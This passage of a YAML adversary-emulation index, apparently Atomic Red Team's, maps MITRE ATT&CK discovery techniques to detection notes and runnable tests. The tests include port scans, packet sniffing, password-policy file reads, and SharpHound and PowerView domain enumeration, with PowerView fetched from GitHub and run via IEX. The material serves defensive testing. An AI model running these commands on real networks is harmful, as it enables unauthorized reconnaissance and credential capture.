          SharpHound binary must exist on disk and at specified location (#{sharphound_path}).
          And the computer must be domain joined (implicit authentication).
        prereq_command: 'if (Test-Path "#{sharphound_path}") { exit 0 } else { exit
          1 }

'
        get_prereq_command: 'Invoke-WebRequest "https://github.com/BloodHoundAD/BloodHound/blob/e062fe73d73c015dccb37fae5089342d009b84b8/Collectors/SharpHound.exe?raw=true"
          -OutFile "#{sharphound_path}"

'
      executor:
        name: powershell
        elevation_required: false
        command: |
          New-Item -Path "#{output_path}" -ItemType Directory > $null
          & "#{sharphound_path}" -d "#{domain}" --CollectionMethod LocalAdmin --NoSaveCache --OutputDirectory "#{output_path}"
        cleanup_command: 'Remove-Item -Recurse #{output_path} -ErrorAction Ignore

'
    - name: Wmic Group Discovery
      auto_generated_guid: 7413be50-be8e-430f-ad4d-07bf197884b2
      description: 'Utilizing wmic.exe to enumerate groups on the local system. Upon
        execution, information will be displayed of local groups on system.

'
      supported_platforms:
      - windows
      executor:
        command: 'wmic.exe group get name

'
        name: powershell
    - name: WMIObject Group Discovery
      auto_generated_guid: 69119e58-96db-4110-ad27-954e48f3bb13
      description: 'Utilizing PowerShell cmdlet - get-wmiobject, to enumerate local
        groups on the endpoint. Upon execution, Upon execution, information will be
        displayed of local groups on system.

'
      supported_platforms:
      - windows
      executor:
        command: 'Get-WMIObject Win32_Group

'
        name: powershell
  T1046:
    technique:
      id: attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Network Service Scanning
      description: "Adversaries may attempt to get a listing of services running on
        remote hosts, including those that may be vulnerable to remote software exploitation.
        Methods to acquire this information include port scans and vulnerability scans
        using tools that are brought onto a system. \n\nWithin cloud environments,
        adversaries may attempt to discover services running on other cloud hosts.
        Additionally, if the cloud environment is connected to a on-premises environment,
        adversaries may be able to identify services running on non-cloud systems
        as well."
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1046
        external_id: T1046
      - external_id: CAPEC-300
        source_name: capec
        url: https://capec.mitre.org/data/definitions/300.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-04-09T14:56:26.562Z'
      created: '2017-05-31T21:30:43.915Z'
      x_mitre_platforms:
      - Windows
      - IaaS
      - Linux
      - macOS
      - Containers
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - User
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Cloud Service: Cloud Service Enumeration'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_version: '2.2'
      x_mitre_contributors:
      - Praetorian
      x_mitre_is_subtechnique: false
      identifier: T1046
    atomic_tests:
    - name: Port Scan
      auto_generated_guid: 68e907da-2539-48f6-9fc9-257a78c05540
      description: |
        Scan ports to check for listening ports.

        Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
      supported_platforms:
      - linux
      - macos
      executor:
        command: |
          for port in {1..65535};
          do
            echo >/dev/tcp/192.168.1.1/$port && echo "port $port is open" || echo "port $port is closed" : ;
          done
        name: sh
    - name: Port Scan Nmap
      auto_generated_guid: 515942b0-a09f-4163-a7bb-22fefb6f185f
      description: |
        Scan ports to check for listening ports with Nmap.

        Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of adresseses on port 80 to determine if listening. Results will be via stdout.
      supported_platforms:
      - linux
      - macos
      input_arguments:
        host:
          description: Host to scan.
          type: String
          default: 192.168.1.1
        port:
          description: Ports to scan.
          type: String
          default: '80'
        network_range:
          description: Network Range to Scan.
          type: String
          default: 192.168.1.0/24
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if nmap command exists on the machine

'
        prereq_command: 'if [ -x "$(command -v nmap)" ]; then exit 0; else exit 1;
          fi;

'
        get_prereq_command: "(which yum && yum -y epel-release nmap)||(which apt-get
          && DEBIAN_FRONTEND=noninteractive apt-get install -y nmap)\n"
      executor:
        command: |
          nmap -sS #{network_range} -p #{port}
          telnet #{host} #{port}
          nc -nv #{host} #{port}
        name: sh
    - name: Port Scan NMap for Windows
      auto_generated_guid: d696a3cb-d7a8-4976-8eb5-5af4abf2e3df
      description: Scan ports to check for listening ports for the local host 127.0.0.1
      supported_platforms:
      - windows
      input_arguments:
        nmap_url:
          description: NMap installer download URL
          type: Url
          default: https://nmap.org/dist/nmap-7.80-setup.exe
        host_to_scan:
          description: The host to scan with NMap
          type: String
          default: 127.0.0.1
      dependency_executor_name: powershell
      dependencies:
      - description: 'NMap must be installed

'
        prereq_command: if (cmd /c "nmap 2>nul") {exit 0} else {exit 1}
        get_prereq_command: |
          Invoke-WebRequest -OutFile $env:temp\nmap-7.80-setup.exe #{nmap_url}
          Start-Process $env:temp\nmap-7.80-setup.exe /S
      executor:
        command: 'nmap #{host_to_scan}'
        name: powershell
        elevation_required: true
    - name: Port Scan using python
      auto_generated_guid: 6ca45b04-9f15-4424-b9d3-84a217285a5c
      description: 'Scan ports to check for listening ports with python

'
      supported_platforms:
      - windows
      input_arguments:
        host_ip:
          description: Host to scan.
          type: String
          default: 127.0.0.1
        filename:
          description: Location of the project file
          type: Path
          default: PathToAtomicsFolder\T1046\src\T1046.py
      dependency_executor_name: powershell
      dependencies:
      - description: 'Check if python exists on the machine

'
        prereq_command: 'if (python --version) {exit 0} else {exit 1}

'
        get_prereq_command: 'echo "Python 3 must be installed manually"

'
      executor:
        command: 'python #{filename} -i #{host_ip}

'
        name: powershell
  T1135:
    technique:
      id: attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Network Share Discovery
      description: "Adversaries may look for folders and drives shared on remote systems
        as a means of identifying sources of information to gather as a precursor
        for Collection and to identify potential systems of interest for Lateral Movement.
        Networks often contain shared network drives and folders that enable users
        to access file directories on various systems across a network. \n\nFile sharing
        over a Windows network occurs over the SMB protocol. (Citation: Wikipedia
        Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039)
        can be used to query a remote system for available shared drives using the
        <code>net view \\\\\\\\remotesystem</code> command. It can also be used to
        query shared drives on the local system using <code>net share</code>."
      external_references:
      - source_name: mitre-attack
        external_id: T1135
        url: https://attack.mitre.org/techniques/T1135
      - external_id: CAPEC-643
        source_name: capec
        url: https://capec.mitre.org/data/definitions/643.html
      - url: https://en.wikipedia.org/wiki/Shared_resource
        description: Wikipedia. (2017, April 15). Shared resource. Retrieved June
          30, 2017.
        source_name: Wikipedia Shared Resource
      - url: https://technet.microsoft.com/library/cc770880.aspx
        description: Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30,
          2017.
        source_name: TechNet Shared Folder
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2020-12-29T19:07:11.154Z'
      created: '2017-12-14T16:46:06.044Z'
      x_mitre_is_subtechnique: false
      x_mitre_contributors:
      - Praetorian
      x_mitre_permissions_required:
      - User
      x_mitre_platforms:
      - macOS
      - Windows
      - Linux
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_version: '3.0'
      identifier: T1135
    atomic_tests:
    - name: Network Share Discovery
      auto_generated_guid: f94b5ad9-911c-4eff-9718-fd21899db4f7
      description: 'Network Share Discovery

'
      supported_platforms:
      - macos
      input_arguments:
        computer_name:
          description: Computer name to find a mount on.
          type: String
          default: computer1
      executor:
        command: |
          df -aH
          smbutil view -g //#{computer_name}
          showmount #{computer_name}
        name: sh
    - name: Network Share Discovery - linux
      auto_generated_guid: 875805bc-9e86-4e87-be86-3a5527315cae
      description: 'Network Share Discovery using smbstatus

'
      supported_platforms:
      - linux
      input_arguments:
        package_checker:
          description: Package checking command. Debian - dpkg -s samba
          type: String
          default: "(rpm -q samba &>/dev/null) || (dpkg -s samba | grep -q installed)"
        package_installer:
          description: Package installer command. Debian - apt install samba
          type: String
          default: "(which yum && yum -y epel-release samba)||(which apt-get && DEBIAN_FRONTEND=noninteractive
            apt-get install -y samba)"
      dependency_executor_name: bash
      dependencies:
      - description: 'Package with smbstatus (samba) must exist on device

'
        prereq_command: 'if #{package_checker} > /dev/null; then exit 0; else exit
          1; fi

'
        get_prereq_command: "sudo #{package_installer} \n"
      executor:
        command: 'smbstatus --shares

'
        name: bash
        elevation_required: true
    - name: Network Share Discovery command prompt
      auto_generated_guid: 20f1097d-81c1-405c-8380-32174d493bbb
      description: |
        Network Share Discovery utilizing the command prompt. The computer name variable may need to be modified to point to a different host
        Upon execution avalaible network shares will be displayed in the powershell session
      supported_platforms:
      - windows
      input_arguments:
        computer_name:
          description: Computer name to find a mount on.
          type: String
          default: localhost
      executor:
        command: 'net view \\#{computer_name}

'
        name: command_prompt
    - name: Network Share Discovery PowerShell
      auto_generated_guid: 1b0814d1-bb24-402d-9615-1b20c50733fb
      description: |
        Network Share Discovery utilizing PowerShell. The computer name variable may need to be modified to point to a different host
        Upon execution, avalaible network shares will be displayed in the powershell session
      supported_platforms:
      - windows
      executor:
        command: 'get-smbshare

'
        name: powershell
    - name: View available share drives
      auto_generated_guid: ab39a04f-0c93-4540-9ff2-83f862c385ae
      description: View information about all of the resources that are shared on
        the local computer Upon execution, avalaible share drives will be displayed
        in the powershell session
      supported_platforms:
      - windows
      executor:
        command: 'net share

'
        name: command_prompt
    - name: Share Discovery with PowerView
      auto_generated_guid: b1636f0a-ba82-435c-b699-0d78794d8bfd
      description: 'Enumerate Domain Shares the current user has access. Upon execution,
        progress info about each share being scanned will be displayed.

'
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Endpoint must be joined to domain

'
        prereq_command: 'if ((Get-WmiObject -Class Win32_ComputerSystem).PartofDomain)
          {exit 0} else {exit 1}

'
        get_prereq_command: '"Join system to domain"

'
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-DomainShare -CheckShareAccess -Verbose
        name: powershell
    - name: PowerView ShareFinder
      auto_generated_guid: d07e4cc1-98ae-447e-9d31-36cb430d28c4
      description: PowerView is a PowerShell tool to gain network situational awareness
        on Windows domains. ShareFinder finds (non-standard) shares on machines in
        the domain.
      supported_platforms:
      - windows
      input_arguments:
        parameters:
          description: ShareFinder parameter
          type: String
          default: "-CheckShareAccess"
      dependencies:
      - description: Invoke-ShareFinder module must exist in %TEMP% directory
        prereq_command: if (Test-Path $env:TEMP\PowerView.ps1) {exit 0} else {exit
          1}
        get_prereq_command: 'Invoke-WebRequest "https://raw.githubusercontent.com/darkoperator/Veil-PowerView/8784e33f17ee7543ba2f45e27dc5f08ea3a1b856/PowerView/powerview.ps1"
          -OutFile $env:TEMP\PowerView.ps1

'
      executor:
        command: |
          Import-Module $env:TEMP\PowerView.ps1
          Invoke-ShareFinder #{parameters}
        name: powershell
  T1040:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1040
        external_id: T1040
      - external_id: CAPEC-158
        source_name: capec
        url: https://capec.mitre.org/data/definitions/158.html
      description: |-
        Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

        Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.

        Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.
      name: Network Sniffing
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-04-02T17:51:59.236Z'
      created: '2017-05-31T21:30:41.399Z'
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_detection: Detecting the events leading up to sniffing network traffic
        may be the best method of detection. From the host level, an adversary would
        likely need to perform a [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557)
        attack against other devices on a wired network in order to capture traffic
        that was not to or from the current compromised system. This change in the
        flow of information is detectable at the enclave network level. Monitor for
        ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network
        devices is a bit more challenging. Auditing administrator logins, configuration
        changes, and device images is required to detect malicious changes.
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_system_requirements:
      - Network interface access and packet capture driver
      x_mitre_is_subtechnique: false
      identifier: T1040
    atomic_tests:
    - name: Packet Capture Linux
      auto_generated_guid: 7fe741f7-b265-4951-a7c7-320889083b3e
      description: |
        Perform a PCAP. Wireshark will be required for tshark. TCPdump may already be installed.

        Upon successful execution, tshark or tcpdump will execute and capture 5 packets on interface ens33.
      supported_platforms:
      - linux
      input_arguments:
        interface:
          description: Specify interface to perform PCAP on.
          type: String
          default: ens33
      dependency_executor_name: bash
      dependencies:
      - description: 'Check if at least one of tcpdump or tshark is installed.

'
        prereq_command: 'if [ ! -x "$(command -v tcpdump)" ] && [ ! -x "$(command
          -v tshark)" ]; then exit 1; else exit 0; fi;

'
        get_prereq_command: "(which yum && yum -y epel-release tcpdump tshark)||(which
          apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y tcpdump tshark)\n"
      executor:
        command: |
          tcpdump -c 5 -nnni #{interface}
          tshark -c 5 -i #{interface}
        name: bash
        elevation_required: true
    - name: Packet Capture macOS
      auto_generated_guid: 9d04efee-eff5-4240-b8d2-07792b873608
      description: |
        Perform a PCAP on macOS. This will require Wireshark/tshark to be installed. TCPdump may already be installed.

        Upon successful execution, tshark or tcpdump will execute and capture 5 packets on interface en0A.
      supported_platforms:
      - macos
      input_arguments:
        interface:
          description: Specify interface to perform PCAP on.
          type: String
          default: en0A
      dependency_executor_name: bash
      dependencies:
      - description: 'Check if at least one of tcpdump or tshark is installed.

'
        prereq_command: 'if [ ! -x "$(command -v tcpdump)" ] && [ ! -x "$(command
          -v tshark)" ]; then exit 1; else exit 0; fi;

'
        get_prereq_command: "(which yum && yum -y epel-release tcpdump tshark)||(which
          apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y tcpdump tshark)\n"
      executor:
        command: "sudo tcpdump -c 5 -nnni #{interface}    \nif [ -x \"$(command -v
          tshark)\" ]; then sudo tshark -c 5 -i #{interface}; fi;\n"
        name: bash
        elevation_required: true
    - name: Packet Capture Windows Command Prompt
      auto_generated_guid: a5b2f6a0-24b4-493e-9590-c699f75723ca
      description: |
        Perform a packet capture using the windows command prompt. This will require a host that has Wireshark/Tshark
        installed.

        Upon successful execution, tshark will execute and capture 5 packets on interface "Ethernet".
      supported_platforms:
      - windows
      input_arguments:
        interface:
          description: Specify interface to perform PCAP on.
          type: String
          default: Ethernet
        wireshark_url:
          description: wireshark installer download URL
          type: Url
          default: https://1.eu.dl.wireshark.org/win64/Wireshark-win64-latest.exe
        tshark_path:
          description: path to tshark.exe
          type: Path
          default: c:\program files\wireshark\tshark.exe
        npcap_url:
          description: npcap installed download URL
          type: Url
          default: https://nmap.org/npcap/dist/npcap-1.31.exe
        npcap_path:
          description: path to npcap.sys
          type: Path
          default: C:\Program Files\Npcap\npcap.sys
      dependency_executor_name: powershell
      dependencies:
      - description: 'tshark must be installed and in the default path of "c:\Program
          Files\Wireshark\Tshark.exe".

'
        prereq_command: if (test-path "#{tshark_path}") {exit 0} else {exit 1}
        get_prereq_command: |
          Invoke-WebRequest -OutFile $env:temp\wireshark_installer.exe #{wireshark_url}
          Start-Process $env:temp\wireshark_installer.exe /S
      - description: 'npcap must be installed.

'
        prereq_command: if (test-path "#{npcap_path}") {exit 0} else {exit 1}
        get_prereq_command: |
          Invoke-WebRequest -OutFile $env:temp\npcap_installer.exe #{npcap_url}
          Start-Process $env:temp\npcap_installer.exe
      executor:
        command: '"c:\Program Files\Wireshark\tshark.exe" -i #{interface} -c 5

'
        name: command_prompt
        elevation_required: true
    - name: Windows Internal Packet Capture
      auto_generated_guid: b5656f67-d67f-4de8-8e62-b5581630f528
      description: |-
        Uses the built-in Windows packet capture
        After execution you should find a file named trace.etl and trace.cab in the temp directory
      supported_platforms:
      - windows
      executor:
        command: netsh trace start capture=yes tracefile=%temp%\trace.etl maxsize=10
        cleanup_command: |-
          netsh trace stop >nul 2>&1
          TIMEOUT /T 5 >nul 2>&1
          del %temp%\trace.etl >nul 2>&1
          del %temp%\trace.cab >nul 2>&1
        name: command_prompt
        elevation_required: true
  T1201:
    technique:
      id: attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Password Policy Discovery
      description: |-
        Adversaries may attempt to access detailed information about the password policy used within an enterprise network. Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).

        Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as <code>net accounts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy</code>, <code>chage -l <username></code>, <code>cat /etc/pam.d/common-password</code>, and <code>pwpolicy getaccountpolicies</code>.(Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies)
      external_references:
      - source_name: mitre-attack
        external_id: T1201
        url: https://attack.mitre.org/techniques/T1201
      - url: https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu
        description: Matutiae, M. (2014, August 6). How to display password policy
          information for a user (Ubuntu)?. Retrieved April 5, 2018.
        source_name: Superuser Linux Password Policies
      - url: https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines
        description: Holland, J. (2016, January 25). User password policies on non
          AD machines. Retrieved April 5, 2018.
        source_name: Jamf User Password Policies
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2020-09-29T14:48:07.227Z'
      created: '2018-04-18T17:59:24.739Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      x_mitre_permissions_required:
      - User
      x_mitre_detection: Monitor processes for tools and command line arguments that
        may indicate they're being used for password policy discovery. Correlate that
        activity with other suspicious activity from the originating system to reduce
        potential false positives from valid user or administrator activity. Adversaries
        will likely attempt to find the password policy early in an operation and
        the activity is likely to happen with other Discovery activity.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_contributors:
      - Sudhanshu Chauhan, @Sudhanshu_C
      x_mitre_version: '1.2'
      identifier: T1201
    atomic_tests:
    - name: Examine password complexity policy - Ubuntu
      auto_generated_guid: '085fe567-ac84-47c7-ac4c-2688ce28265b'
      description: 'Lists the password complexity policy to console on Ubuntu Linux.

'
      supported_platforms:
      - linux
      executor:
        command: 'cat /etc/pam.d/common-password

'
        name: bash
    - name: Examine password complexity policy - CentOS/RHEL 7.x
      auto_generated_guid: 78a12e65-efff-4617-bc01-88f17d71315d
      description: 'Lists the password complexity policy to console on CentOS/RHEL
        7.x Linux.

'
      supported_platforms:
      - linux
      dependencies:
      - description: 'System must be CentOS or RHEL v7

'
        prereq_command: 'if [ $(rpm -q --queryformat ''%{VERSION}'') -eq "7" ]; then
          exit /b 0; else exit /b 1; fi;

'
        get_prereq_command: 'echo Please run from CentOS or RHEL v7

'
      executor:
        command: 'cat /etc/security/pwquality.conf

'
        name: bash
    - name: Examine password complexity policy - CentOS/RHEL 6.x
      auto_generated_guid: 6ce12552-0adb-4f56-89ff-95ce268f6358
      description: 'Lists the password complexity policy to console on CentOS/RHEL
        6.x Linux.

'
      supported_platforms:
      - linux
      dependencies:
      - description: 'System must be CentOS or RHEL v6

'
        prereq_command: 'if [ $(rpm -q --queryformat ''%{VERSION}'') -eq "6" ]; then
          exit /b 0; else exit /b 1; fi;

'
        get_prereq_command: 'echo Please run from CentOS or RHEL v6

'
      executor:
        command: |
          cat /etc/pam.d/system-auth
          cat /etc/security/pwquality.conf
        name: bash
    - name: Examine password expiration policy - All Linux
      auto_generated_guid: 7c86c55c-70fa-4a05-83c9-3aa19b145d1a
      description: 'Lists the password expiration policy to console on CentOS/RHEL/Ubuntu.

'
      supported_platforms:
      - linux
      executor:
        command: 'cat /etc/login.defs

'
        name: bash
    - name: Examine local password policy - Windows
      auto_generated_guid: 4588d243-f24e-4549-b2e3-e627acc089f6
      description: 'Lists the local password policy to console on Windows.

'
      supported_platforms:
      - windows
      executor:
        command: 'net accounts

'
        name: command_prompt
    - name: Examine domain password policy - Windows
      auto_generated_guid: 46c2c362-2679-4ef5-aec9-0e958e135be4
      description: 'Lists the domain password policy to console on Windows.

'
      supported_platforms:
      - windows
      executor:
        command: 'net accounts /domain

'
        name: command_prompt
    - name: Examine password policy - macOS
      auto_generated_guid: 4b7fa042-9482-45e1-b348-4b756b2a0742
      description: 'Lists the password policy to console on macOS.

'
      supported_platforms:
      - macos
      executor:
        command: pwpolicy getaccountpolicies
        name: bash
  T1120:
    technique:
      created: '2017-05-31T21:31:28.471Z'
      modified: '2020-03-26T17:42:03.337Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      type: attack-pattern
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1120
        external_id: T1120
      - external_id: CAPEC-646
        source_name: capec
        url: https://capec.mitre.org/data/definitions/646.html
      description: Adversaries may attempt to gather information about attached peripheral
        devices and components connected to a computer system. Peripheral devices
        could include auxiliary resources that support a variety of functionalities
        such as keyboards, printers, cameras, smart card readers, or removable storage.
        The information may be used to enhance their awareness of the system and network
        environment or may be used for further actions.
      name: Peripheral Device Discovery
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643
      x_mitre_version: '1.2'
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      x_mitre_platforms:
      - Windows
      - macOS
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_is_subtechnique: false
      identifier: T1120
    atomic_tests:
    - name: Win32_PnPEntity Hardware Inventory
      auto_generated_guid: 2cb4dbf2-2dca-4597-8678-4d39d207a3a5
      description: Perform peripheral device discovery using Get-WMIObject Win32_PnPEntity
      supported_platforms:
      - windows
      executor:
        command: |-
          Get-WMIObject Win32_PnPEntity | Format-Table Name, Description, Manufacturer > $env:TEMP\T1120_collection.txt
          $Space,$Heading,$Break,$Data = Get-Content $env:TEMP\T1120_collection.txt
          @($Heading; $Break; $Data |Sort-Object -Unique) | ? {$_.trim() -ne "" } |Set-Content $env:TEMP\T1120_collection.txt
        cleanup_command: Remove-Item $env:TEMP\T1120_collection.txt -ErrorAction Ignore
        name: powershell
  T1069:
    technique:
      id: attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Permission Groups Discovery
      description: Adversaries may attempt to find group and permission settings.
        This information can help adversaries determine which user accounts and groups
        are available, the membership of users in particular groups, and which users
        and groups have elevated permissions.
      external_references:
      - source_name: mitre-attack
        external_id: T1069
        url: https://attack.mitre.org/techniques/T1069
      - external_id: CAPEC-576
        source_name: capec
        url: https://capec.mitre.org/data/definitions/576.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-03-30T12:29:56.512Z'
      created: '2017-05-31T21:30:55.471Z'
      x_mitre_is_subtechnique: false
      x_mitre_contributors:
      - Microsoft Threat Intelligence Center (MSTIC)
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Group: Group Enumeration'
      - 'Group: Group Metadata'
      - 'Application Log: Application Log Content'
      x_mitre_version: '2.3'
    atomic_tests: []
  T1057:
    technique:
      id: attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Process Discovery
      description: |-
        Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

        In Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or <code>Get-Process</code> via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as <code>CreateToolhelp32Snapshot</code>. In Mac and Linux, this is accomplished with the <code>ps</code> command. Adversaries may also opt to enumerate processes via /proc.
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1057
        external_id: T1057
      - external_id: CAPEC-573
        source_name: capec
        url: https://capec.mitre.org/data/definitions/573.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2020-03-26T18:05:53.130Z'
      created: '2017-05-31T21:30:48.728Z'
      x_mitre_is_subtechnique: false
      x_mitre_system_requirements:
      - Administrator, SYSTEM may provide better process ownership details
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_version: '1.2'
      identifier: T1057
